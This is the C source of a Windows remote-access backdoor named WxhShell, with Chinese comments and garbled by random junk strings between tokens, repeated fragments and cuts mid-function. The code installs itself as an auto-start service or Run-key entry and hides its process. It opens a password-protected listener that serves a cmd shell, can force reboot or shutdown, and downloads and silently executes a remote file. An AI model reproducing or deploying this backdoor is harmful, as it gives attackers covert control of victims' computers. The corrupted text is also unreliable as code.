fA\#N0;3 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]."c4S_)| if(NULL == hInst ) return 0; NXNon*" UhTr<(@ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =eoxT g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x=#5\t9 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Umt ia~x=& $:N
"* if (!NtQueryInformationProcess) return 0; 5;
[|k$ v E|;5Z* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \>`$x: if(!hProcess) return 0; tQaCNS$= ,b(S=r if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6<$|;w-OV 3/=QZ8HA&- CloseHandle(hProcess); #/dde9y XL=R]IC<. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P$>kBW53 if(hProcess==NULL) return 0; Ux
T[ Kn$1W=B1. HMODULE hMod; WN/#9]` P char procName[255]; X/Rx]}[ unsigned long cbNeeded; *9ub.:EUwV "4hpU]4j if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gA1in }t3FAy(% CloseHandle(hProcess); +%\j$Pv LC\:xia{X if(strstr(procName,"services")) return 1; // 以服务启动 =DTOI -+>r4P return 0; // 注册表启动 MH;%Y"EI } G1_@!
4 67\Ojl~(1 // 主模块 -b0'Q int StartWxhshell(LPSTR lpCmdLine) Zt2@?w; { M6*{#Y? SOCKET wsl; ^MHn2Cv/~ BOOL val=TRUE; sVdK^|j int port=0; j~*Z7iu struct sockaddr_in door; q;zf|'&*7C kok^4VV if(wscfg.ws_autoins) Install(); 9r+O!kF( UZ\*]mxT port=atoi(lpCmdLine); k)K-mD``U 3|+f si)x if(port<=0) port=wscfg.ws_port; ZHF(q6T d74g|`/ WSADATA data; _+04M)q0 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t<k[W'# <I%9O:R
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; B%J%TR_ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4<Sa,~4 door.sin_family = AF_INET; ?5v5:U(A door.sin_addr.s_addr = inet_addr("127.0.0.1"); /Ej]X`F door.sin_port = htons(port); 7Jx-W| JD{MdhhV if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "x|NG,<[9 closesocket(wsl); 0 {JK4]C return 1; +Sd,l>8\ } Pb8Z))9j Ryq"\Q>+ if(listen(wsl,2) == INVALID_SOCKET) { !UMo4}Y closesocket(wsl); fEw=I7{Y return 1; Lkl|4L } L=HVdeE Wxhshell(wsl); #jLaIXms WSACleanup(); Sn0gTsZ KHlIK`r return 0; TwuX-b +:,`sdv6o } ^5^}MB% zzfn0g // 以NT服务方式启动 1n`1o-&l- VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xEiX<lguyN { 1U7,X6=~ DWORD status = 0; k?HrD" k" DWORD specificError = 0xfffffff; wVp4c?s t*a*v;iz serviceStatus.dwServiceType = SERVICE_WIN32; '>e79f-O) serviceStatus.dwCurrentState = SERVICE_START_PENDING; Aa`MK$29F serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >nhE%:X> serviceStatus.dwWin32ExitCode = 0; r9]
rN serviceStatus.dwServiceSpecificExitCode = 0; k%l_N)38 serviceStatus.dwCheckPoint = 0; MV<!<Qmj serviceStatus.dwWaitHint = 0; 98A(jsj kPO6gdwq$ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =a9etF%B if (hServiceStatusHandle==0) return; p/hvQyE "brRME3 status = GetLastError(); fK'.wX9 if (status!=NO_ERROR) ;vJ\]T ml { Zlk,])9 Q serviceStatus.dwCurrentState = SERVICE_STOPPED; m4"N+_j serviceStatus.dwCheckPoint = 0; oSn! "<x
serviceStatus.dwWaitHint = 0; x7.QL?qR. serviceStatus.dwWin32ExitCode = status; M?Ndy*] serviceStatus.dwServiceSpecificExitCode = specificError; Vd%v_Ek SetServiceStatus(hServiceStatusHandle, &serviceStatus); D1X4|Q*SK return; ;}/U+`=D? } b "
")BT #v4LoNm serviceStatus.dwCurrentState = SERVICE_RUNNING; zJ;>.0 serviceStatus.dwCheckPoint = 0; W|25t)cJ8h serviceStatus.dwWaitHint = 0; SOp=~z if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?< cM^$lI> } #ya\Jdx *;hY.EuoFz // 处理NT服务事件,比如:启动、停止 i<T P: VOID WINAPI NTServiceHandler(DWORD fdwControl) MzQ\rg_B7 { ](W5.a,-$L switch(fdwControl) V1SqX:;b& { <nWKR, case SERVICE_CONTROL_STOP: y?pD(u serviceStatus.dwWin32ExitCode = 0; ZfPd0 p serviceStatus.dwCurrentState = SERVICE_STOPPED; /gz:zThf{ serviceStatus.dwCheckPoint = 0; ~x|aoozL serviceStatus.dwWaitHint = 0; j8GY`f# { Kt
W6AZJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); :dP~.ZY7 } e>l,(ql return; $Y6I_U
case SERVICE_CONTROL_PAUSE: 9>by~4An? serviceStatus.dwCurrentState = SERVICE_PAUSED; ,~4H{{<j break; `)R?nVb case SERVICE_CONTROL_CONTINUE: TUh&d5a9H serviceStatus.dwCurrentState = SERVICE_RUNNING; HH)"]E5 break; KRYcCn case SERVICE_CONTROL_INTERROGATE: EM=w?T break; ep+ }; ]3*P:$Rq SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4%
HGMr } #s"851e 'p%=<0vrr // 标准应用程序主函数 s%~L4Wmcq int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gH %y { !;%y$$gxh xXX/]x> // 获取操作系统版本 zJ9v%.e OsIsNt=GetOsVer(); NYBe"/}GS GetModuleFileName(NULL,ExeFile,MAX_PATH); lT]=&m> ![ZmV // 从命令行安装 !
ja[4. if(strpbrk(lpCmdLine,"iI")) Install();
(}Sr08m Sw)i1S9 // 下载执行文件 gv#4#] if(wscfg.ws_downexe) { ;7Y[c}V1^ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?Gd sOg^ WinExec(wscfg.ws_filenam,SW_HIDE); 2i\Q@h } $X*mdji =SAV| if(!OsIsNt) { 7^$)VBQ/ // 如果时win9x,隐藏进程并且设置为注册表启动 '-vE%U@< HideProc(); +t9 8@ StartWxhshell(lpCmdLine); kbxg_UI; } Yd:Q`#7A else I&Jt> O4 if(StartFromService()) hSB?@I4s<\ // 以服务方式启动 {.st`n|xz StartServiceCtrlDispatcher(DispatchTable); t9FDU else )RN<GW' // 普通方式启动 M;+IZr Wkl StartWxhshell(lpCmdLine); ?}}qu'N:N !:WW return 0; 8d!GZgC8R } y,E.SB BkawL, _;hf<|c *5k+t =========================================== w(U:U-MNe h}Rx_d VO=!8Yx[ ?cKZ_c K R, z^9 IA4N@ijRxh " ^s&W>hTX: d "E^SBO& #include <stdio.h> T%$jWndI #include <string.h> 5G[x }4U #include <windows.h> DkDoA;m #include <winsock2.h> Z^yNLF *&V #include <winsvc.h> `!vUsM .d #include <urlmon.h> VT\"q1)p .5w azvA #pragma comment (lib, "Ws2_32.lib") _Mk7U@j+9 #pragma comment (lib, "urlmon.lib") X^s2BW ?Q0I'RC #define MAX_USER 100 // 最大客户端连接数 AiP!hw/V$ #define BUF_SOCK 200 // sock buffer ;W]\rft[ #define KEY_BUFF 255 // 输入 buffer ml6u1+v5 WBr59@V #define REBOOT 0 // 重启 ]y#3@ #define SHUTDOWN 1 // 关机 7B7&9<gc -]srp;=i #define DEF_PORT 5000 // 监听端口 ALc`t(..}A XJ1=m #define REG_LEN 16 // 注册表键长度 tyh@^7 #define SVC_LEN 80 // NT服务名长度 GbI-SbE .fAv*pUzU // 从dll定义API YJ_\Ns+Ow typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EON:B>2a typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z//VlB typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -0Cnp/Yj@ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :o46rBs "4o=,$E= // wxhshell配置信息 =LkR!R= struct WSCFG { bQ'8SCe int ws_port; // 监听端口 }}|)Yq char ws_passstr[REG_LEN]; // 口令 ]bZ(HC?KZr int ws_autoins; // 安装标记, 1=yes 0=no v{aq`uH char ws_regname[REG_LEN]; // 注册表键名 r V6/Tdy char ws_svcname[REG_LEN]; // 服务名 up>c$jJ char ws_svcdisp[SVC_LEN]; // 服务显示名 wE]K~y!` char ws_svcdesc[SVC_LEN]; // 服务描述信息 X]%itA char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q GZyL)Q int ws_downexe; // 下载执行标记, 1=yes 0=no zCv"]% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3"N)xO- char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MUnEuhXTr QnQOm"" }; U8.7>ENnP& /D!;u] // default Wxhshell configuration `h:34RC; struct WSCFG wscfg={DEF_PORT, ]:>,A@7 "xuhuanlingzhe", $5x ,6[& 1, +M'
H0-[ "Wxhshell", >P6BW "Wxhshell", 21hv%CF\9 "WxhShell Service", El\%E"Tk% "Wrsky Windows CmdShell Service", js iSg/ "Please Input Your Password: ", >NYW{(j 1, [S5\#=_4S "http://www.wrsky.com/wxhshell.exe", k:jSbbQ "Wxhshell.exe" 86]p#n_>Fv }; 7xRl9 *g?Po+ef% // 消息定义模块 Xtt?] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n3AaZp[ char *msg_ws_prompt="\n\r? for help\n\r#>"; )nL`H^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ry9T U char *msg_ws_ext="\n\rExit."; [
ol9|sdu char *msg_ws_end="\n\rQuit."; q$I:`& char *msg_ws_boot="\n\rReboot..."; y@0E[/O char *msg_ws_poff="\n\rShutdown..."; %_ !bRo char *msg_ws_down="\n\rSave to "; DL$@?.?I |$?bc3 char *msg_ws_err="\n\rErr!"; PDs@?nz, char *msg_ws_ok="\n\rOK!"; .L'.c/ s '>r7V char ExeFile[MAX_PATH]; wgCa58H76 int nUser = 0; hzk cP HANDLE handles[MAX_USER]; !1e6Ss int OsIsNt; /p8dZ+X n{6G"t:^l SERVICE_STATUS serviceStatus; u\C
lP# SERVICE_STATUS_HANDLE hServiceStatusHandle; y;s`P. g$b<1:8 // 函数声明 ,^uEYT}j int Install(void); 8F._9U-EN int Uninstall(void); Ii G6<|d8H int DownloadFile(char *sURL, SOCKET wsh); #B4%|v;`E? int Boot(int flag); :j+ ZI3@ void HideProc(void); '&\kxNglJ int GetOsVer(void); iof-7{+3_ int Wxhshell(SOCKET wsl); PYGRsrcFd# void TalkWithClient(void *cs); l<A|d{" ] int CmdShell(SOCKET sock); 4O35"1 int StartFromService(void); !QvZ<5( int StartWxhshell(LPSTR lpCmdLine); @)fd}tV ;qm
D50:% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,^C--tgZJg VOID WINAPI NTServiceHandler( DWORD fdwControl ); V,cBk /Njd[=B // 数据结构和表定义 `\}v#2VJ SERVICE_TABLE_ENTRY DispatchTable[] = 0N$v"uX@ { #w' kV# {wscfg.ws_svcname, NTServiceMain}, zzX_q(:S {NULL, NULL} cLLbZ=` }; "hsb8- 2.l:O2< // 自我安装 sVOyT*GY int Install(void) R^Y
<RI { hpD!2 K3> char svExeFile[MAX_PATH]; i%0ur}p HKEY key; "$YJX1u3 strcpy(svExeFile,ExeFile); =w{Z@S(ukz 2Eu`u!jhx // 如果是win9x系统,修改注册表设为自启动 _sTROd)Vh if(!OsIsNt) { G;l_|8<t#\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tM'P m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kZmpu?P RegCloseKey(key); Xg;}R:g ' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2QyV%wz RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2*^j RegCloseKey(key); ZzJ?L4J5v return 0; q1d}{DU } <h:x= } <+?7H\b } RwpdRBb else { woGAf)vV# j}.\]$J // 如果是NT以上系统,安装为系统服务 $#9;)8J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
/} b03 if (schSCManager!=0) $Avjnm { B#Vz#y SC_HANDLE schService = CreateService 7o#I,d~ ( vunHNHltW0 schSCManager, N_W}*2( wscfg.ws_svcname, Y[}>CYO wscfg.ws_svcdisp, __G?0*3 G SERVICE_ALL_ACCESS, w"-Lc4t+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R6;=n"Ueb SERVICE_AUTO_START, 3q\,$*D. SERVICE_ERROR_NORMAL, nxnv,AZG svExeFile, =5~jx NULL, \/zq7j NULL, 4.[^\N NULL, @#T|Y& NULL, mwHB(7YS, NULL FKDk +ojw ); YNKHN2E8 if (schService!=0) f!Y?S { a|t$l=|DD CloseServiceHandle(schService); R3gdLa. CloseServiceHandle(schSCManager); 'YmIKIw strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qr"3y strcat(svExeFile,wscfg.ws_svcname); G\2CR* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gmw|H?] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {Aw#?#GPW RegCloseKey(key); |"ls\ 7 return 0; C~,a!qY } M ?Y;a5{ } riY~%9iV' CloseServiceHandle(schSCManager); [=6]+V83M } Cjm`|~&e+ } f-vCm 5f _n0CfH.v return 1; %g{X ? } |W,&
Hl7 kCWV r // 自我卸载 md)c0Bg8~ int Uninstall(void) :~"CuB/ { k]F[>26k HKEY key; \)#kquH/l X5zDpi|Dq if(!OsIsNt) { Gw/Pk4R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sBj(Qd RegDeleteValue(key,wscfg.ws_regname); CGW.I$u RegCloseKey(key); LO9=xGj. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a!6{:8Zi0 RegDeleteValue(key,wscfg.ws_regname); |mxDjgq RegCloseKey(key); 9UdM`v)( return 0; ]#)()6)2v } u^@f&BIG]: } ]
{RDV A=] } '\l" else { '.IW.{;$ Vz~{UHH6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R1adWBD> if (schSCManager!=0) U dT*E: 6 { M'?,] an SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l%k\JY- if (schService!=0) v|XTr,# { fiK6@, if(DeleteService(schService)!=0) { }NHaCG[, CloseServiceHandle(schService); x|/|jzJSX CloseServiceHandle(schSCManager); 8g@<d^8@ return 0; a#cCpE } t6bV?nc CloseServiceHandle(schService); F&4rO\aC"/ } y`<*U;xL CloseServiceHandle(schSCManager); Ci@o|Y }tP } ~8'sBT } =_.l8IYX$% 2%DSUv:H% return 1; J{.{f } *>Ns_su7W NO*u9YH? // 从指定url下载文件 j$M h+5 int DownloadFile(char *sURL, SOCKET wsh) :}He\V { dPW#C5dm HRESULT hr; )tC5Hijq, char seps[]= "/"; ? ^0:3$La char *token; v> LIvi|] char *file; g;H=6JeG/ char myURL[MAX_PATH]; &|s0P char myFILE[MAX_PATH]; Km qMFB62 }~YA5^VQ$ strcpy(myURL,sURL); hi_NOx token=strtok(myURL,seps); ;,hwZZA while(token!=NULL) vLv@&lMW { F~,Mw8 file=token; UFXaEl}R token=strtok(NULL,seps); ax"+0L{ } iFd+2S% /Wi[OT14 GetCurrentDirectory(MAX_PATH,myFILE); EEEh~6?-e strcat(myFILE, "\\"); QE^$=\l0 strcat(myFILE, file); 5#HW2"7 send(wsh,myFILE,strlen(myFILE),0); tIWmp30S send(wsh,"...",3,0); C'>|J9~Gz hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RVZ")Z( if(hr==S_OK) 3U<cWl@ return 0; 2":pE U{E else !8TlD-ZT/ return 1; 1vS#K=sb (of#(I[m7 } 1auIR/=- )MtF23k)g // 系统电源模块 0CZ:Bo[3 int Boot(int flag) [8Y:65 {
oI?3<M^ HANDLE hToken; :">!r.Q TOKEN_PRIVILEGES tkp; OC_+("N R}-(cc%5 if(OsIsNt) { ~Q Oe## OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3(="YbZ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^ sOQi6pL tkp.PrivilegeCount = 1; 0CWvYC%e tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZJnYIK AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5Y.)("1f}f if(flag==REBOOT) { +! ]zA4x if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D@,6M#SK return 0; evya7^,F } TYy?KG>:' else { Ab~3{Q]# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3$9s\<j return 0; Q3XpHnufu+ }
"0V.V>-p } kI,yU}<Fq else { ;o
6lf_ if(flag==REBOOT) { S){)Z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `Syl:rU~y@ return 0; Bj+S"yS } ]MqMQLG0t else { IDad9 Bx if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7!evm;A return 0; sSr&:BOsi } ~Z -Vs } ^3G{|JB!+ pf]xqhL return 1; 2% MC Yn } %h hfU6[ E`kG-Q5Dw // win9x进程隐藏模块 N,<uf@LQ void HideProc(void) 6gkV*|U,e { Bm:98? [ FXpJqlhNv HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kC:uG0sW if ( hKernel != NULL ) I!ED?n { raW>xOivR pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ud63f`W]4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^dI424 FreeLibrary(hKernel); ~jWn4
\ } V"[g.%%Y l?\jB\, return; G?9"Y% } ]dF
,:8 zU,9T // 获取操作系统版本
|{&{ int GetOsVer(void) KsddA { dydc}n OSVERSIONINFO winfo; \9.bt:k@OT winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
T5|qRlW GetVersionEx(&winfo); QpF;:YX^3 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Vk`h2BV return 1; H(H<z,$}T else :)8VdWg return 0; u6J8"<
-W } j SHk{T!J seba9y // 客户端句柄模块 [Hx0`Nc K int Wxhshell(SOCKET wsl) B=U 3
{ *}Xf!"I#]N SOCKET wsh; {5A2& struct sockaddr_in client; SDL7<ZaE DWORD myID; Dxtp2wu%t XUrXnz|> while(nUser<MAX_USER) Ih@61>X.o* { )"qa kT int nSize=sizeof(client); 2Zm0qJ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <g-9T -Ky if(wsh==INVALID_SOCKET) return 1; <:_wbVn- nz%DM<0$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i)\L:qF5 if(handles[nUser]==0) zlyS}x@p closesocket(wsh); rDl*d`He! else "<6G6?sz nUser++; A4Ru g\p] } a,Sw4yJ!Q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Id*Ce2B 84$nT>c return 0; q~
tz? T_ } 'Jiw@t<o3` xP_cQwm`1 // 关闭 socket `K*Q5n void CloseIt(SOCKET wsh) [<7@{;r { md=TjMaY closesocket(wsh); -N6f1>}pE nUser--; IO wj>t ExitThread(0); phQUD } A_V]yP c>,KZ! // 客户端请求句柄 j~"Q3P;V void TalkWithClient(void *cs) GC<l#3+ { 9FoHD r`=+ L-! SOCKET wsh=(SOCKET)cs; j
>Ht @Wi char pwd[SVC_LEN]; i6R~`0>Q char cmd[KEY_BUFF]; ]"r&]qx7 char chr[1]; Amp#GR1CA int i,j; A mvEf ~Uj=^leYO while (nUser < MAX_USER) { 'g6\CZw(# Ut*`:]la if(wscfg.ws_passstr) { =FlDb
5t{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VdPtPq1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XywE1}3 //ZeroMemory(pwd,KEY_BUFF); !6n_}I-W i=0; I*o() while(i<SVC_LEN) { kC WEtbz1 R}'bP // 设置超时 Z.c'Hs+; fd_set FdRead; B+Rm>^CBm struct timeval TimeOut; W~6EEyD% FD_ZERO(&FdRead); Bu#E9hJFvA FD_SET(wsh,&FdRead); t
4PK}>QW TimeOut.tv_sec=8; <S\jpB TimeOut.tv_usec=0; g~ZvA(` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gGvz(R:y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vmi+_] H]P.
x!I if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BYpG pwd=chr[0]; J{'>uD.@ if(chr[0]==0xd || chr[0]==0xa) { jDKO}
bQ pwd=0; uya.sF0]9B break; 46$._h
P } _|iSF2f,X i++; hwu]Er.gn } 6{x(.= %9w::hav // 如果是非法用户,关闭 socket rk&IlAE if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0QFS } "*($cQ$v ,">]`|? send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |P[w==AAf send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;P;-}u Mc=$/ o while(1) { ks"|}9\%< t,,k
ZeroMemory(cmd,KEY_BUFF); rw: c K:!"+q // 自动支持客户端 telnet标准 OPwtV9% j=0; 'U1R\86M while(j<KEY_BUFF) { 8?J&`e/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y?S!8-z cmd[j]=chr[0]; 4\y/'`xm)6 if(chr[0]==0xa || chr[0]==0xd) { >v:y?A, cmd[j]=0; E7NV ^4h break; (gy#js# } 0F]>Jby j++; T29Dt } B{|8#jqY u&`XB|~ // 下载文件 GO8GJ;B-U if(strstr(cmd,"http://")) { 0>C T=(A send(wsh,msg_ws_down,strlen(msg_ws_down),0); P=7zs;k if(DownloadFile(cmd,wsh)) cimp/n" send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~kShq% else jNTjSX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1HXjN~XF } s1=X>'q else { O]lSWEe s8wmCzB~ switch(cmd[0]) { Y'yH;Mz xgbJ2Mh // 帮助 q-.,nMUF case '?': { pi /g H send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?,p;O break; F5?m6`g? } RMK"o? // 安装 =G]1LTI case 'i': { |rJ=Ksc if(Install()) A9f)tqbc send(wsh,msg_ws_err,strlen(msg_ws_err),0); Du`JaJI else KB%"bqB| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `4(e break; o}W%I/s } {6"Ph(I1 // 卸载 P\w\N2 case 'r': { |o{:ZmzM if(Uninstall()) |K6REkzr send(wsh,msg_ws_err,strlen(msg_ws_err),0); AmaT0tzJC else ko Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3 DD ML, break; gXYI\. } p<zSJLN // 显示 wxhshell 所在路径 %1H[Wh(U case 'p': { %ZNI:Uh char svExeFile[MAX_PATH]; {p;zuCF1 strcpy(svExeFile,"\n\r"); dls
ss\c^M strcat(svExeFile,ExeFile); +s,Qmmb7) send(wsh,svExeFile,strlen(svExeFile),0); [ JpKSTg[ break; Fz1_w$^ } >H'4{| // 重启 94+KdHAo^M case 'b': { R#2 t)y send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j<u@j+V if(Boot(REBOOT)) ~MS\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q?3Gk%T0[ else { 0/!dUWdKH closesocket(wsh); ?*E'^~,H) ExitThread(0); 0(mkeIzJt/ } q8^^H$<Db break; A3|Dz&@: } G>wqt@%r9 // 关机 (@t(?Js case 'd': { BlXB7q, send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'f[T&o&L/ if(Boot(SHUTDOWN)) IkBei&4F` send(wsh,msg_ws_err,strlen(msg_ws_err),0); 30XR
82P/ else { I
6<*X closesocket(wsh); %1O;fQL ExitThread(0); Rniq(FAx } PIH*Rw*GKZ break; s0DGC } |_`E1Y}} // 获取shell lD"(MQV@0 case 's': { Hz.(qW">5* CmdShell(wsh); P5
K' p5}# closesocket(wsh); DTaN"{ ExitThread(0); 4d8B`Fa9 break; zY|t0H } } w
5l // 退出 )=AHf?hn case 'x': { H2um|6> send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O)ME"@r@: CloseIt(wsh); Xb{
[c+. break; j:E<p_T } E_8\f_%wK // 离开 YN`H
BFH case 'q': { ^go7_y send(wsh,msg_ws_end,strlen(msg_ws_end),0); _Y8hb!#( closesocket(wsh); F8;dKyT?q WSACleanup(); (?H0+zws^ exit(1); Q43|U4a break; <&!v1yR } ,&d@O>$E: } ;3
F"TH
} 5BR2?hO4 8&Myva // 提示信息 @&"Pci+-| if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8v71e> } >5wx+n)/) } 0Hs|*:Y1D 5"/J^"!h return; [lk'xzE } $46{<4. KE1ao9H8wR // shell模块句柄 &h~Xq^ int CmdShell(SOCKET sock) oxj3[</'k { h!#:$|Q STARTUPINFO si; WsFk:h'r ZeroMemory(&si,sizeof(si)); E0/mSm"(T si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nkv(~ej( si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @VN&t:/ l PROCESS_INFORMATION ProcessInfo; 9
C{;h char cmdline[]="cmd"; bT6sb#"W CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zd_HxYrN return 0; f""`cdqAOh } 7?v#'Ies [Px'\nVf // 自身启动模式 SSBg?H 'T int StartFromService(void) ;Efcw[< { UA~RK2k? typedef struct hfcIvs/! { >|Q:g,I DWORD ExitStatus; u4"SH( DWORD PebBaseAddress; x"4} isp< DWORD AffinityMask; za'6Y*CGgX DWORD BasePriority; =H8 xSJLh ULONG UniqueProcessId; HP.E3yYK ULONG InheritedFromUniqueProcessId; [~\PQYm' } PROCESS_BASIC_INFORMATION; iU+nqY' +uWYK9 PROCNTQSIP NtQueryInformationProcess; N4K8
u'f^ D^U:
ih static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OquAql: static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >O/D!j| jxgj,h"}9` HANDLE hProcess; dP]1tAO,y PROCESS_BASIC_INFORMATION pbi; K1?Gmue#I ZAuWx@} HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '<iK*[NW if(NULL == hInst ) return 0; nH !3(X* P%Ay3cR+E g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U"f??y%) g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~Cc.cce5 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c~<1': IgL_5A if (!NtQueryInformationProcess) return 0; QO{y/{ RQW6N??C hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?y XAu0 if(!hProcess) return 0; gLE7Edcp6V
he+#Q6 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :`vP}I ^ $!A:5jech CloseHandle(hProcess); 1on'^8]0 lo&#(L+2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?v}Bd!'+P if(hProcess==NULL) return 0; $\a5&1rl mT*{-n_Zs HMODULE hMod; {}>n{_ char procName[255]; qu6DQ@
